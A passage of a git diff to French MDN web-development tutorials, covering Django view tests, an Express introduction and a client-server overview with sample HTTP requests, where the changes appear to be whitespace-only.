self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) + self.assertEqual(response.status_code, 200) + + # Check we used correct template + self.assertTemplateUsed(response, 'catalog/book_renew_librarian.html') ``` Ajoutez la méthode de test suivante, comme montré ci-dessous. Elle vérifie que la date initiale pour le formulaire est trois semaines dans le futur. Notez comment nous pouvons accéder à la valeur initiale de ce champ de formulaire (en gras). ```python - def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) - self.assertEqual(response.status_code, 200) + def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) + self.assertEqual(response.status_code, 200) - date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3) - self.assertEqual(response.context['form'].initial['renewal_date'], date_3_weeks_in_future) + date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3) + self.assertEqual(response.context['form'].initial['renewal_date'], date_3_weeks_in_future) ``` -> **Attention :** Si vous utilisez la class de formulaire `RenewBookModelForm(forms.ModelForm)` à la place de la classe `RenewBookForm(forms.Form)`, le nom du champ est **'due_back'** et non **'renewal_date'**. +> **Attention :** Si vous utilisez la class de formulaire `RenewBookModelForm(forms.ModelForm)` à la place de la classe `RenewBookForm(forms.Form)`, le nom du champ est **'due_back'** et non **'renewal_date'**. Le test suivant (ajoutez-le à la classe également) vérifie que la vue redirige vers une liste de tous les livres empruntés si le renouvellement réussit. Ce qui diffère ici est que, pour la première fois, nous montrons comment vous pouvez `POST`er des données en utilisant le client. Les données postées forment le second argument de la fonction post, et elles sont spécifiées comme un dictionnaire de clés/valeurs. ```python - def test_redirects_to_all_borrowed_book_list_on_success(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2) - response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}) - self.assertRedirects(response, reverse('all-borrowed')) + def test_redirects_to_all_borrowed_book_list_on_success(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2) + response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}) + self.assertRedirects(response, reverse('all-borrowed')) ``` -> **Attention :** La vue _all-borrowed_ a été ajoutée comme _défi_, et votre code peut, à la place, rediriger vers la page d'accueil '/'. Si c'est le cas, modifiez les deux dernières lignes du code de test pour qu'elles ressemblent au code ci-dessous. L'expression `follow=True` dans la requête s'assure que la requête retourne l'URL de la destination finale (donc vérifie `/catalog/` plutôt que `/`). +> **Attention :** La vue _all-borrowed_ a été ajoutée comme _défi_, et votre code peut, à la place, rediriger vers la page d'accueil '/'. Si c'est le cas, modifiez les deux dernières lignes du code de test pour qu'elles ressemblent au code ci-dessous. L'expression `follow=True` dans la requête s'assure que la requête retourne l'URL de la destination finale (donc vérifie `/catalog/` plutôt que `/`). > > ```python > response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}, follow=True ) @@ -883,19 +883,19 @@ Le test suivant (ajoutez-le à la classe également) vérifie que la vue redirig Copiez les deux dernières fonctions dans la classe, comme indiqué ci-dessous. Elles testent de nouveau des requêtes POST, mais dans ce cas avec des dates de renouvellement invalides. Nous utilisons la méthode assertFormError() pour vérifier que les messages d'erreur sont ceux que nous attendons. ```python - def test_form_invalid_renewal_date_past(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - date_in_past = datetime.date.today() - datetime.timedelta(weeks=1) - response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': date_in_past}) - self.assertEqual(response.status_code, 200) - self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal in past') - - def test_form_invalid_renewal_date_future(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5) - response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': invalid_date_in_future}) - self.assertEqual(response.status_code, 200) - self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead') + def test_form_invalid_renewal_date_past(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + date_in_past = datetime.date.today() - datetime.timedelta(weeks=1) + response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': date_in_past}) + self.assertEqual(response.status_code, 200) + self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal in past') + + def test_form_invalid_renewal_date_future(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5) + response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': invalid_date_in_future}) + self.assertEqual(response.status_code, 200) + self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead') ``` Le même genre de technique peut être utilisé pour tester les autres vues. @@ -938,7 +938,7 @@ Le prochain (et dernier) tutoriel montre comment vous pouvez déployer votre mer ## À voir également - [Writing and running tests](https://docs.djangoproject.com/en/2.1/topics/testing/overview/) (Django docs) -- [Writing your first Django app, part 5 > Introducing automated testing](https://docs.djangoproject.com/en/2.1/intro/tutorial05/) (Django docs) +- [Writing your first Django app, part 5 > Introducing automated testing](https://docs.djangoproject.com/en/2.1/intro/tutorial05/) (Django docs) - [Testing tools reference](https://docs.djangoproject.com/en/2.1/topics/testing/tools/) (Django docs) - [Advanced testing topics](https://docs.djangoproject.com/en/2.1/topics/testing/advanced/) (Django docs) - [A Guide to Testing in Django](http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/) (Toast Driven Blog, 2011) diff --git a/files/fr/learn/server-side/django/tutorial_local_library_website/index.md b/files/fr/learn/server-side/django/tutorial_local_library_website/index.md index 9a02d03bdd..924f54361f 100644 --- a/files/fr/learn/server-side/django/tutorial_local_library_website/index.md +++ b/files/fr/learn/server-side/django/tutorial_local_library_website/index.md @@ -1,5 +1,5 @@ --- -title: 'Django Didactique: Site web "Bibliothèque locale"' +title: 'Django Didactique: Site web "Bibliothèque locale"' slug: Learn/Server-side/Django/Tutorial_local_library_website tags: - Apprentissage @@ -23,7 +23,7 @@ Le premier article de cette série didactique explique ce que vous apprendrez et <a href="/fr/docs/Learn/Server-side/Django/Introduction" >l'introduction</a >. Pour les articles suivants avoir mis à jour l'environnement comme - décrit précédemment. + décrit précédemment. </td> </tr> <tr> diff --git a/files/fr/learn/server-side/express_nodejs/introduction/index.md b/files/fr/learn/server-side/express_nodejs/introduction/index.md index 378a85ce83..32a95acc67 100644 --- a/files/fr/learn/server-side/express_nodejs/introduction/index.md +++ b/files/fr/learn/server-side/express_nodejs/introduction/index.md @@ -13,12 +13,12 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction --- {{LearnSidebar}}{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}} -Dans ce tout premier article consacré à Express, nous répondons aux questions « Qu'est-ce que Node ? » et « Qu'est-ce que Express ? », et vous donnons un aperçu de ce qui fait d'Express un framework web si spécial. Nous décrivons les principales fonctionnalités et montrons quelques-uns des principaux composants d'une application Express (bien que vous ne disposiez pas encore d'un environnement de développement pour le tester). +Dans ce tout premier article consacré à Express, nous répondons aux questions « Qu'est-ce que Node ? » et « Qu'est-ce que Express ? », et vous donnons un aperçu de ce qui fait d'Express un framework web si spécial. Nous décrivons les principales fonctionnalités et montrons quelques-uns des principaux composants d'une application Express (bien que vous ne disposiez pas encore d'un environnement de développement pour le tester). <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Une culture de base en informatique, une compréhension globale de la <a href="/fr/docs/Learn/Server-side/First_steps" @@ -31,7 +31,7 @@ Dans ce tout premier article consacré à Express, nous répondons aux questions </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Devenir familier avec ce qu'est Express et comment il s'intègre dans Node, les fonctionnalités qu'il apporte, et les principales étapes pour @@ -45,7 +45,7 @@ Dans ce tout premier article consacré à Express, nous répondons aux questions [Node](https://nodejs.org/) (ou plus formellement _Node.js_) est un environnement d'exécution open-source, multi-plateforme, qui permet aux développeuses et développeurs de créer toutes sortes d'applications et d'outils côté serveur en [JavaScript](/fr/docs/Glossary/JavaScript). Cet environnement est destiné à être utilisé en dehors du navigateur (il s'exécute directement sur son ordinateur ou dans le système d'exploitation du serveur). Aussi, Node ne permet pas d'utiliser les API JavaScript liées au navigateur mais des API plus traditionnellement utilisées sur un serveur dont notamment celles pour HTTP ou la manipulation de systèmes de fichier. -Dans une perspective de développement de serveur web, Node présente un certain nombre d'avantages : +Dans une perspective de développement de serveur web, Node présente un certain nombre d'avantages : - D'excellentes performances ! Node a été créé pour optimiser le rendement et l'évolution des applications web. Il s'agit d'une bonne solution à de nombreux problèmes de développement web (par exemple, les applications en temps réel). - Le code est intégralement écrit en JavaScript ce qui signifie que l'on dépense moins d'énergie à basculer d'un langage à l'autre quand on code côté client et côté serveur. @@ -117,13 +117,13 @@ Bien qu'Express soit assez minimaliste, des _middlewares_ (fonctions intermédia > **Note :** Cette flexibilité est à double tranchant. Il y a une multitude de paquets pour résoudre chaque problème mais trouver le bon paquet à utiliser peut vite devenir un défi. Il n'y a pas non plus de « bonne manière » pour structurer une application et beaucoup d'exemples que vous trouverez sur le net ne sont pas optimisés ou montrent seulement une infime partie de ce que vous devez faire pour développer une application web. -## D'où viennent Node et Express ? +## D'où viennent Node et Express ? À ses débuts en 2009, Node a été publié pour Linux uniquement. Le gestionnaire de paquets NPM est sorti en 2010, et le support natif de Windows fut ajouté en 2012. Ceci est un très court aperçu d'une aventure riche en rebondissements. Allez creuser ça sur [Wikipédia](https://fr.wikipedia.org/wiki/Node.js#Historique) si vous voulez en savoir plus. Express est sorti pour la première fois en novembre 2010. Vous pouvez consulter la [liste des modifications](https://expressjs.com/en/changelog/4x.html) pour plus d'informations sur la version courante et [GitHub](https://github.com/expressjs/express/blob/master/History.md) pour plus de détails sur l'historique des publications. -## Quelle popularité pour Node et Express ? +## Quelle popularité pour Node et Express ? La popularité d'un _framework_ web est importante car elle conditionne la maintenance dans le temps et les ressources qu'il est raisonnable de mettre à disposition dans la documentation, les bibliothèques d'extensions et le support technique. diff --git a/files/fr/learn/server-side/first_steps/client-server_overview/index.md b/files/fr/learn/server-side/first_steps/client-server_overview/index.md index 9cf9f2b4e0..a66e0ec417 100644 --- a/files/fr/learn/server-side/first_steps/client-server_overview/index.md +++ b/files/fr/learn/server-side/first_steps/client-server_overview/index.md @@ -6,7 +6,7 @@ original_slug: Learn/Server-side/Premiers_pas/Client-Serveur --- {{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}} -Maintenant que vous connaissez le but et le bénéfice de la programmation côté serveur, nous allons analyser en détails ce qui se passe quand un serveur reçoit une requête dynamique de la part d'un navigateur. Comme la plupart des sites gèrent le code côté serveur (requêtes et réponses) de la même manière, cela vous aidera à comprendre ce que vous devrez faire ensuite en écrivant votre propre code. +Maintenant que vous connaissez le but et le bénéfice de la programmation côté serveur, nous allons analyser en détails ce qui se passe quand un serveur reçoit une requête dynamique de la part d'un navigateur. Comme la plupart des sites gèrent le code côté serveur (requêtes et réponses) de la même manière, cela vous aidera à comprendre ce que vous devrez faire ensuite en écrivant votre propre code. <table class="standard-table"> <tbody> @@ -28,13 +28,13 @@ Maintenant que vous connaissez le but et le bénéfice de la programmation côt </tbody> </table> -Il n'y a pas de code "réel" dans la suite de cette présentation parce que nous n'avons pas encore choisi un framework web à utiliser pour écrire notre code ! Ce tutoriel est quand même trés pertinent car les comportements décrits doivent être implémentés par votre code côté serveur, sans qu'il ait à se soucier (le serveur...) de quel langage de programmation ou framework vous vous servez. +Il n'y a pas de code "réel" dans la suite de cette présentation parce que nous n'avons pas encore choisi un framework web à utiliser pour écrire notre code ! Ce tutoriel est quand même trés pertinent car les comportements décrits doivent être implémentés par votre code côté serveur, sans qu'il ait à se soucier (le serveur...) de quel langage de programmation ou framework vous vous servez. ## Serveurs Web et HTTP (un avant-goût) Les navigateurs web communiquent avec les serveurs web avec le protocole [HTTP](/fr/docs/Web/HTTP) **: H**yper**T**ext**T**ransfer **P**rotocol. Quand vous cliquez un lien sur une page, soumettez un formulaire ou lancez une recherche, le navigateur envoie une requête HTTP (_HTTP Request)_ au serveur. -Cette requête inclut : +Cette requête inclut : - Une URL identifiant la cible et la ressource (un fichier HTML, un point particulier de données sur le serveur ou un outil à lancer). - Une méthode qui définit l'action requise ( par exemple récupérer un fichier ou sauvegarder certaines données ou mises à jour). Les différentes méthodes/verbes et les actions associées sont listées ci-dessous : @@ -48,22 +48,22 @@ Cette requête inclut : - Des informations complémentaires peuvent être encodées avec la requête (des données de formulaire HTML par exemple). Ces informations peuvent être encodées comme : - - Paramètres URL : les requêtes `GET` encodent les données dans l'URL envoyée au serveur en ajoutant des paires nom/valeur en fin de celle-ci. Exemple : `http://mysite.com?name=Fred&age=11`. Il y a toujours un point d'interrogation (`?`) séparant le début de l'URL des paramètres passés. Ainsi qu'un signe égal (`=`) séparant le nom de la valeur associée et une esperluette (`&`) séparant chaque paire. Les paramètres URL ne sont pas sécurisés car ils peuvent être changés et soumis une deuxième fois par l'utilisateur. Pour cette raison, les requêtes URL paramètres/`GET` requests ne sont pas utilisées pour des requêtes mettant à jour des données sur un serveur. + - Paramètres URL : les requêtes `GET` encodent les données dans l'URL envoyée au serveur en ajoutant des paires nom/valeur en fin de celle-ci. Exemple : `http://mysite.com?name=Fred&age=11`. Il y a toujours un point d'interrogation (`?`) séparant le début de l'URL des paramètres passés. Ainsi qu'un signe égal (`=`) séparant le nom de la valeur associée et une esperluette (`&`) séparant chaque paire. Les paramètres URL ne sont pas sécurisés car ils peuvent être changés et soumis une deuxième fois par l'utilisateur. Pour cette raison, les requêtes URL paramètres/`GET` requests ne sont pas utilisées pour des requêtes mettant à jour des données sur un serveur. -- `POST` data. Les requêtes `POST` ajoutent de nouvelles ressources dont les données sont encodées dans le corps de la requête. -- Cookies côté Client. Contient les données de session du client, incluant les clés dont peut se servir le serveur pour déterminer le statut de login et les accés/permissions aux ressources. +- `POST` data. Les requêtes `POST` ajoutent de nouvelles ressources dont les données sont encodées dans le corps de la requête. +- Cookies côté Client. Contient les données de session du client, incluant les clés dont peut se servir le serveur pour déterminer le statut de login et les accés/permissions aux ressources. -Les serveurs Web attendent une requête du client puis la traitent quand elle arrive. Il répond ensuite au navigateur avec un message HTTP Response. La réponse contient un statut [HTTP Response](/fr/docs/Web/HTTP/Status) indiquant si, oui ou non, la requête a abouti. (ex : "`200 OK`" pour un succés, "`404 Not Found`" si la ressource ne peut être trouvée, "`403 Forbidden`" si l'utilisateur n'est pas autorisé à voir la ressource etc. Le corps d'une réponse aboutie à une requête `GET` contiendrait la ressource demandée. +Les serveurs Web attendent une requête du client puis la traitent quand elle arrive. Il répond ensuite au navigateur avec un message HTTP Response. La réponse contient un statut [HTTP Response](/fr/docs/Web/HTTP/Status) indiquant si, oui ou non, la requête a abouti. (ex : "`200 OK`" pour un succés, "`404 Not Found`" si la ressource ne peut être trouvée, "`403 Forbidden`" si l'utilisateur n'est pas autorisé à voir la ressource etc. Le corps d'une réponse aboutie à une requête `GET` contiendrait la ressource demandée. Quand une page HTML est retournée, elle est affichée par le navigateur. Le navigateur, nativement, pourra découvrir des liens vers d'autres ressources (ex : une page HTML intégre habituellement des pages JavaScript et CSS ), et enverra des requêtes séparées pour télécharger ces fichiers. Les sites web dynamiques ou statiques (voir sections suivantes) utilisent les mêmes protocoles/modèles de communication. -### Exemple de requête/réponse GET +### Exemple de requête/réponse GET Vous faites une simple requête `GET` en cliquant sur un lien ou en faisant une recherche sur un site (sur une page de moteur de recherche par exemple). Une requête HTTP envoyée lorsque vous effectuez une recherche sur MDN pour les termes : "La relation Client-Serveur" ressemblera beaucoup à ce qui suit mais ne sera pas identique car des parties du message dépendent des paramètres de votre navigateur. -> **Note :** Le format des messsages HTTP est défini par un standard web ([RFC7230](http://www.rfc-editor.org/rfc/rfc7230.txt)). Vous n'avez pas besoin de connaître ce niveau de détails mais vous saurez au moins d'où vient tout ça ! +> **Note :** Le format des messsages HTTP est défini par un standard web ([RFC7230](http://www.rfc-editor.org/rfc/rfc7230.txt)). Vous n'avez pas besoin de connaître ce niveau de détails mais vous saurez au moins d'où vient tout ça ! #### La requête @@ -86,19 +86,19 @@ Chaque ligne de la requête contient des informations sur celle-ci. La première Les premières et secondes lignes contiennent la plupart des données déjà évoquées précédemment : - Le type de la requête (`GET`). -- La cible de la ressource URL (`/en-US/search`). +- La cible de la ressource URL (`/en-US/search`). - Les paramètres URL (`q=La%2relation%2Client%2-%2Bserveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev`). - Le site web cible/hôte (developer.mozilla.org). - La fin de la première ligne inclut aussi une petite chaîne identifiant la version spécifique du protocole (`HTTP/1.1`). -La dernière ligne contient des données sur les cookies côté client — vous observerez que dans ce cas, le cookie a une id pour gérer la session : (`Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...`). +La dernière ligne contient des données sur les cookies côté client — vous observerez que dans ce cas, le cookie a une id pour gérer la session : (`Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...`). Les lignes restantes concernent le navigateur utilisé et les sortes de réponses qu'il peut accepter. Par exemple, vous pouvez voir ceci : - Mon navigateur (`User-Agent`) est Mozilla Firefox (`Mozilla/5.0`). - Il accepte les données compressées (`Accept-Encoding: gzip`). -- Il accepte les familles de caractères suivantes : (`Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7`) et pour les langages : (`Accept-Language: de,en;q=0.7,en-us;q=0.3`). -- La ligne `Referer` indique l'adresse de la page web qui contenait le lien vers cette ressource (Par ex. l'origine de la requête : `https://developer.mozilla.org/en-US/`). +- Il accepte les familles de caractères suivantes : (`Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7`) et pour les langages : (`Accept-Language: de,en;q=0.7,en-us;q=0.3`). +- La ligne `Referer` indique l'adresse de la page web qui contenait le lien vers cette ressource (Par ex. l'origine de la requête : `https://developer.mozilla.org/en-US/`). Les requêtes HTTP peuvent aussi avoir un corps mais dans ce cas précis, il est vide. @@ -107,11 +107,11 @@ Les requêtes HTTP peuvent aussi avoir un corps mais dans ce cas précis, il est La première partie de la réponse à cette requête est détaillée ci-dessous. L'en-tête contient les données suivantes : - La première ligne embarque le code `200 OK`, qui nous dit que la requête a abouti. -- Nous pouvons voir que la réponse est formatée en `text/html` (`Content-Type`). +- Nous pouvons voir que la réponse est formatée en `text/html` (`Content-Type`). - On remarque qu'elle utilise l'ensemble des caractères UTF-8 (`Content-Type: text/html; charset=utf-8`). - L'en-tête indique aussi la taille (`Content-Length: 41823`). -À la fin du message nous avons le contenu du corps — lequel contient le "vrai" HTML demandé par la requête. +À la fin du message nous avons le contenu du corps — lequel contient le "vrai" HTML demandé par la requête. ```html HTTP/1.1 200 OK @@ -130,15 +130,15 @@ Content-Length: 41823 <!DOCTYPE html> -<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > +<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > <head prefix="og: http://ogp.me/ns#"> - <meta charset="utf-8"> - <meta http-equiv="X-UA-Compatible" content="IE=Edge"> - <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> - ... + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=Edge"> + <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> + ... ``` -Le reste de l'en-tête de la réponse contient des informations sur la réponse elle-même (quand elle a été générée), sur le serveur et comment le navigateur doit gérer la page ( `X-Frame-Options: DENY` cette ligne dit au navigateur de ne pas autoriser cette page a être intégrée dans une {{htmlelement("iframe")}} dans un autre site). +Le reste de l'en-tête de la réponse contient des informations sur la réponse elle-même (quand elle a été générée), sur le serveur et comment le navigateur doit gérer la page ( `X-Frame-Options: DENY` cette ligne dit au navigateur de ne pas autoriser cette page a être intégrée dans une {{htmlelement("iframe")}} dans un autre site). ### Exemple de requête/réponse POST @@ -168,11 +168,11 @@ Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6 csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url= ``` -La principale différence est que l'URL ne comporte pas de paramètres. Comme vous voyez, l'information du formulaire est encodée dans le corps de la requête (par exemple : le nom complet du nouvel utilisateur est paramétré avec `&user-fullname=Hamish+Willee`). +La principale différence est que l'URL ne comporte pas de paramètres. Comme vous voyez, l'information du formulaire est encodée dans le corps de la requête (par exemple : le nom complet du nouvel utilisateur est paramétré avec `&user-fullname=Hamish+Willee`). #### La réponse -La réponse à la requête est expliquée dessous. Le statut "`302 Found`" dit au navigateur que le post a abouti et qu'il peut délivrer une deuxième requête HTTP pour charger la page spécifiée dans le champ `Location`. L'information est donc en cela similaire à une réponse de requête `GET`. +La réponse à la requête est expliquée dessous. Le statut "`302 Found`" dit au navigateur que le post a abouti et qu'il peut délivrer une deuxième requête HTTP pour charger la page spécifiée dans le champ `Location`. L'information est donc en cela similaire à une réponse de requête `GET`. ```html HTTP/1.1 302 FOUND @@ -190,11 +190,11 @@ X-Cache-Info: not cacheable; request wasn't a GET or HEAD Content-Length: 0 ``` -> **Note :** Les requêtes et réponses montrées dans ces exemples ont été capturées avec l'application [Fiddler](https://www.telerik.com/download/fiddler) , mais vous pouvez avoir des informations similaires en utilisant des "renifleurs" web (e.g. [Websniffer](http://websniffer.cc/), [Wireshark](https://www.wireshark.org/)) ou des extensions de navigateur comme [HttpFox](https://addons.mozilla.org/en-US/firefox/addon/httpfox/). Vous pouvez essayer seul. Utilisez tous les outils recommandés, naviguez sur des sites et éditez des profils de données pour explorer les différentes requêtes et réponses. La plupart des navigateurs modernes ont aussi des outils qui gérent les requêtes réseau, par exemple le [Network Monitor](/fr/docs/Tools/Network_Monitor) dans Firefox). +> **Note :** Les requêtes et réponses montrées dans ces exemples ont été capturées avec l'application [Fiddler](https://www.telerik.com/download/fiddler) , mais vous pouvez avoir des informations similaires en utilisant des "renifleurs" web (e.g. [Websniffer](http://websniffer.cc/), [Wireshark](https://www.wireshark.org/)) ou des extensions de navigateur comme [HttpFox](https://addons.mozilla.org/en-US/firefox/addon/httpfox/). Vous pouvez essayer seul. Utilisez tous les outils recommandés, naviguez sur des sites et éditez des profils de données pour explorer les différentes requêtes et réponses. La plupart des navigateurs modernes ont aussi des outils qui gérent les requêtes réseau, par exemple le [Network Monitor](/fr/docs/Tools/Network_Monitor) dans Firefox). ## Les sites statiques -Un site statique renvoie le même contenu codé en dur depuis le serveur quelle que soit la ressource demandée. Si vous avez une page concernant un produit à l'adresse `/static/myproduct1.html`, cette même page sera retournée à chaque utilisateur. Si vous ajoutez un nouveau produit, vous devez ajouter une nouvelle page (par ex : `myproduct2.html`) et ainsi de suite. Cela peut être vraiment inefficace — Comment faire quand vous avez des milliers de pages "produit" à faire ? Vous allez répéter beaucoup de code identique dans chaque page (le modèle de base de la page, sa structure, etc.) et si vous voulez changer quoique ce soit dans la structure de la page — comme une section "produits dérivés" par exemple — alors, il faudra changer chaque page individuellement.. +Un site statique renvoie le même contenu codé en dur depuis le serveur quelle que soit la ressource demandée. Si vous avez une page concernant un produit à l'adresse `/static/myproduct1.html`, cette même page sera retournée à chaque utilisateur. Si vous ajoutez un nouveau produit, vous devez ajouter une nouvelle page (par ex : `myproduct2.html`) et ainsi de suite. Cela peut être vraiment inefficace — Comment faire quand vous avez des milliers de pages "produit" à faire ? Vous allez répéter beaucoup de code identique dans chaque page (le modèle de base de la page, sa structure, etc.) et si vous voulez changer quoique ce soit dans la structure de la page — comme une section "produits dérivés" par exemple — alors, il faudra changer chaque page individuellement.. > **Note :** Les sites statiques sont trés efficace quand vous avez un petit nombre de pages et que vous voulez envoyer le même contenu à chaque utilisateur. De toutes façons, ils peuvent avoir un coût certain de maintenance au fur et à mesure de l'augmentation du nombre de pages. @@ -202,19 +202,19 @@ Voyons comment tout cela marche en révisant un diagramme d'architecture de site  -Quand un utilisateur veut naviguer jusqu'à une page, le navigateur envoie une requête HTTP `GET` spécifiant l'URL de sa page HTML. Le serveur retourne le document demandé depuis son système de fichiers et retourne une réponse HTTP contenant le document et un [HTTP Response status code](/fr/docs/Web/HTTP/Status) ( statut codé de la réponse HTTP) qui est "`200 OK`" (indiquant le succés de l'opération). Le serveur peut retourner un statut différent, par exemple "`404 Not Found`" si le fichier est absent sur le serveur , ou bien "`301 Moved Permanently`" si le fichier existe mais a été déplacé vers une nouvelle localisation. +Quand un utilisateur veut naviguer jusqu'à une page, le navigateur envoie une requête HTTP `GET` spécifiant l'URL de sa page HTML. Le serveur retourne le document demandé depuis son système de fichiers et retourne une réponse HTTP contenant le document et un [HTTP Response status code](/fr/docs/Web/HTTP/Status) ( statut codé de la réponse HTTP) qui est "`200 OK`" (indiquant le succés de l'opération). Le serveur peut retourner un statut différent, par exemple "`404 Not Found`" si le fichier est absent sur le serveur , ou bien "`301 Moved Permanently`" si le fichier existe mais a été déplacé vers une nouvelle localisation. -Le serveur d'un site statique n'aura à faire face qu'à des requêtes GET vu qu'il ne stocke aucune donnée modifiable. Il ne change pas non plus ses réponses basées sur les données des requêtes HTTP (c'est à dire les paramètres URL ou les cookies). +Le serveur d'un site statique n'aura à faire face qu'à des requêtes GET vu qu'il ne stocke aucune donnée modifiable. Il ne change pas non plus ses réponses basées sur les données des requêtes HTTP (c'est à dire les paramètres URL ou les cookies). Comprendre comment fonctionnent les sites statiques est sans aucun doute trés utile à l'apprentissage de la programmation côté serveur car les sites dynamiques gèrent les requêtes pour les fichiers statiques (CSS, JavaScript, images statiques , etc.) exactement de la même manière. ## Les sites dynamiques -Un site dynamique peut générer et retourner du contenu basé sur une requête URL spécifique et les données (plutôt que de toujours renvoyer le même fichier codé en dur à une URL particulière). Toujours avec l'exemple d'un site "produits", le serveur stockera les données du produit dans une base de données plutôt que dans un fichier HTML individuel. Quand il reçoit une requête HTTP `GET` pour un produit, le serveur détermine l'ID du produit, va chercher les données dans la base de données puis construit la page HTML pour la réponse en intégrant les données dans un gabarit (template) HTML. C'est un avantage indéniable sur un site statique : +Un site dynamique peut générer et retourner du contenu basé sur une requête URL spécifique et les données (plutôt que de toujours renvoyer le même fichier codé en dur à une URL particulière). Toujours avec l'exemple d'un site "produits", le serveur stockera les données du produit dans une base de données plutôt que dans un fichier HTML individuel. Quand il reçoit une requête HTTP `GET` pour un produit, le serveur détermine l'ID du produit, va chercher les données dans la base de données puis construit la page HTML pour la réponse en intégrant les données dans un gabarit (template) HTML. C'est un avantage indéniable sur un site statique : Utiliser une base de données permet à l'information "produit" d'être stockée efficacement, en étant modifiable, extensible et bien indexée. -Employer des gabarits HTML facilite la façon de changer la structure HTML parce que c'est fait en un seul endroit, dans un seul gabarit (template) et non pas sur potentiellement des milliers de pages statiques. +Employer des gabarits HTML facilite la façon de changer la structure HTML parce que c'est fait en un seul endroit, dans un seul gabarit (template) et non pas sur potentiellement des milliers de pages statiques. ### Anatomie d'un requête dynamique @@ -240,7 +240,7 @@ Une opération de mise à jour d'un enregistrement dans la base de données sera Le travail d'une application Web consiste à recevoir des requêtes HTTP et à renvoyer des réponses HTTP. Bien que l'interaction avec une base de données pour obtenir ou mettre à jour des informations soit une tâche très courante, le code peut faire d'autres choses en même temps, ou ne pas interagir du tout avec une base de données.Un bon exemple de tâche supplémentaire qu'une application Web pourrait exécuter serait l'envoi d'un courrier électronique aux utilisateurs pour confirmer leur inscription sur le site. Le site peut également effectuer une journalisation ou d’autres opérations. -### Renvoyer autre chose que du HTML +### Renvoyer autre chose que du HTML Le code de site Web côté serveur ne doit pas nécessairement renvoyer des extraits / fichiers HTML dans la réponse. Au lieu de cela, il peut créer et renvoyer de manière dynamique d'autres types de fichiers (texte, PDF, CSV, etc.) ou même des données (JSON, XML, etc.).L'idée de renvoyer des données à un navigateur Web afin qu'il puisse mettre à jour de manière dynamique son propre contenu ({{glossary ("AJAX")}}) existe depuis un certain temps. Plus récemment, les "applications à page unique" sont devenues populaires, le site Web entier étant écrit avec un seul fichier HTML mis à jour de manière dynamique en cas de besoin. Les sites Web créés à l'aide de ce style d'application génèrent des coûts de calcul considérables entre le serveur et le navigateur Web, ce qui peut donner l'impression que les sites Web se comportent beaucoup plus comme des applications natives (très réactives, etc.). @@ -266,7 +266,7 @@ urlpatterns = [ > **Note :** Les 